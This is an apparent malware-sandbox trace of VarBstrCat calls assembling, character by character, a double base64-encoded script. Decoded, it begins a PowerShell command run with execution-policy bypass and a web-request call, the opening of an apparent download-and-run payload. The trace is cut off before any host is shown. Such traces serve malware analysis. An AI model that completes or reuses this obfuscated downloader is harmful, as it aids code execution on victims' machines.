VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YU", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUd", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdW", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2J", bstrRight="D", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JD", bstrRight="Q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQ", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQX", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXR", bstrRight="i", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRi", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRib", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibT", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl", bstrRight="3", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3S", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SU", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUM", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMx", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxb", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbG", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGV", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVH", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHV", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVm", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmp", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJ", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0", bstrRight="o", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.762] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0d", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dG", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGe", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGem", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5", bstrRight="Q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5Q", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QX", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXR", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZ", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZe", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeU", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUF", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFp", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpS", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSk", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkh", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJ", bstrRight="O", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJO", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOV", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVc", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.763] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcx", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxT", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTj", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjV", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVj", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1J", bstrRight="s", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1Js", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsY", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYl", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1p", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pY", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYU", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUX", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXV", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVW", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.764] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWM", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMl", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZ", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZp", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpV", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1W", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1We", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeG", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGR", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRX", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXV", bstrRight="n", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVn", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnp", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpk", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkR", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRj", bstrRight="A", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2", bstrRight="t", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.765] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2t", bstrRight="O", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tO", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOe", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeV", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVp", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpX", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXR", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRj", bstrRight="B", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjB", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.766] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBa", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 